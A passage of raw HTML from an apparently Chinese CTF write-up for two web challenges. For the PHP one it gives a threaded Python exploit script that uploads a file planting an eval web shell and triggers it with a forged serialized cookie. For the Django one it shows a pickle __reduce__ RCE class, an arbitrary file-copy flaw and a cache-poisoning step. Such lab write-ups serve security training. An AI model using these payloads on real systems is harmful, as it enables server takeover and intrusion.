1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-Uplssse</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">源码中的提示：&lt;meta name=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dev-settings&#34;</span></span><span leaf=""> content=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;autoload_extension=.inc&#34;</span></span><span leaf="">&gt;</span><span leaf=""><br/></span><span leaf="">&lt;meta name=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dev-settings&#34;</span></span><span leaf=""> content=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;tmp_directory=./tmp/&#34;</span></span><span leaf="">&gt;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">当PHP反序列化一个未定义的类时，会触发spl_autoload机制去加载类文件，根据提示，autoload会去 ./tmp/类名.inc 查找类定义</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">准备一个恶意的.inc文件</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">&lt;?php</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 当被autoload包含时执行</span></span><span leaf=""><br/></span><span leaf="">file_put_contents(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/www/html/shell.php&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&lt;?php @eval($_POST[&#34;cmd&#34;]); ?&gt;&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">Evil</span></span></span><span leaf="">{}</span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">?&gt;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">上传之后使用使用恶意的cookie触发该.inc文件</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">注意条件竞争，只有0.5s的时间去触发payload</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> requests</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> threading</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> base64</span><span leaf=""><br/></span><span leaf="">TARGET = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.18.26:25002" target="_blank">http://192.168.18.26:25002</a>&#34;</span></span><span leaf=""><br/></span><span leaf="">ADMIN_COOKIE = {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;user_auth&#34;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjY6ImxzcmFpbiI7czo4OiJwYXNzd29yZCI7czo2OiIxMjM0NTYiO3M6MTA6ImlzTG9nZ2VkSW4iO2I6MTtzOjg6ImlzX2FkbWluIjtpOjE7fQ==&#34;</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">EVIL_COOKIE = {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;user_auth&#34;</span></span><span leaf="">: base64.b64encode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;O:4:&#34;Evil&#34;:0:{}&#39;</span></span><span leaf="">).decode()}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 恶意.inc内容 - 写入持久化shell</span></span><span leaf=""><br/></span><span leaf="">PAYLOAD = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;&#39;&#39;&lt;?php</span><span leaf=""><br/></span><span leaf="">file_put_contents(&#39;/var/www/html/shell.php&#39;, &#39;&lt;?php @eval($_POST[&#34;cmd&#34;]); ?&gt;&#39;);</span><span leaf=""><br/></span><span leaf="">echo &#34;SHELL_WRITTEN&#34;;</span><span leaf=""><br/></span><span leaf="">class Evil {}</span><span leaf=""><br/></span><span leaf="">?&gt;&#39;&#39;&#39;</span></span><span leaf="">success = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">upload</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;用Admin Cookie上传Evil.inc&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">global</span></span><span leaf=""> success</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> success:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            requests.post(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{TARGET}</span></span><span leaf="">/upload.php&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">                files={</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;file&#39;</span></span><span leaf="">: (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Evil.inc&#39;</span></span><span leaf="">, PAYLOAD, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;application/octet-stream&#39;</span></span><span leaf="">)},</span><span leaf=""><br/></span><span leaf="">                data={</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;upload&#39;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;upload&#39;</span></span><span leaf="">},</span><span leaf=""><br/></span><span leaf="">                cookies=ADMIN_COOKIE, timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf="">: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">trigger</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;用Evil Cookie触发autoload&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">global</span></span><span leaf=""> success</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> success:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            r = requests.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{TARGET}</span></span><span leaf="">/upload.php&#34;</span></span><span leaf="">, cookies=EVIL_COOKIE, timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SHELL_WRITTEN&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> r.text:</span><span leaf=""><br/></span><span leaf="">                success = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] Shell written successfully!&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf="">: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 启动多线程</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">    threading.Thread(target=upload, daemon=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">).start()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">    threading.Thread(target=trigger, daemon=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">).start()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> time</span><span leaf=""><br/></span><span leaf="">time.sleep(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">30</span></span><span leaf="">)</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-ezDjango</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">在views.py中</span><span leaf=""><br/></span><span leaf="">outer_html = (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&lt;h1&gt;hello {user}&lt;/h1&gt;&lt;/p&gt;&lt;h3&gt;&#39;</span></span><span leaf=""> + intro + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&lt;/h3&gt;&#39;</span></span><span leaf="">).format(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">user</span></span><span leaf="">=request.</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">user</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">这段代码存在ssti，但是使用的是str.format</span><span leaf=""><br/></span><span leaf="">可以获取类信息，但是不能调用方法</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mj5cymfz-zq5mbn" style="color: #576B95 !important;" data-topic="1">#settings</a>.py</span></span><span leaf=""><br/></span><span leaf="">CACHES = {</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;default&#39;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;BACKEND&#39;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;django.core.cache.backends.filebased.FileBasedCache&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LOCATION&#39;</span></span><span leaf="">: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/tmp/django_cache&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 缓存key</span></span><span leaf=""><br/></span><span leaf="">CACHE_KEY = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;pwn&#39;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">缓存是用pickle存储的</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">构造一个恶意的pickle类：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">RCE</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;恶意类，反序列化时执行命令&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self, cmd)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">        self.cmd = cmd</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__reduce__</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> subprocess</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (subprocess.check_output, ([</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/sh&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-c&#34;</span></span><span leaf="">, self.cmd],))</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后通过/upload文件上传到/tmp目录</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">#<a class="wx_topic_link" topic-id="mj5cymfz-y8loys" style="color: #576B95 !important;" data-topic="1">#views</a>.py</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">@csrf_exempt</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">copy_file</span></span><span style="line-height: 26px;"><span leaf="">(request)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> request.method == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;POST&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        src = request.POST.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;src&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        dst = request.POST.get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;dst&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> src </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">or</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> dst:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> json_error(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Source and destination required&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> os.path.exists(src):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> json_error(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Source file not found&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            os.makedirs(os.path.dirname(dst), exist_ok=</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">            content = read_file_bytes(src)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> open(dst, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wb&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> dest_file:</span><span leaf=""><br/></span><span leaf="">                dest_file.write(content)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> json_success(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;File copied&#39;</span></span><span leaf="">, src=src, dst=dst)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> json_error(str(e))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> render(request, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;copy.html&#39;</span></span><span leaf="">)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这里的src和dst都可控，而且并没有进行什么校验，我们可以任意目录写文件</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">于是将我们上传的恶意类文件复制到缓存目录，这里需要计算一下缓存文件名的名称</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用utils.py中的方法不行，阅读django源码，使用以下加密方式</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">hashlib.md5(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;:1:pwn&#34;</span></span><span leaf="">.encode()).hexdigest() + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;.djcache&#34;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">复制好之后访问一下/cache/trigger触发cache.get() ，然后读取缓存触发pickle.load()</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: 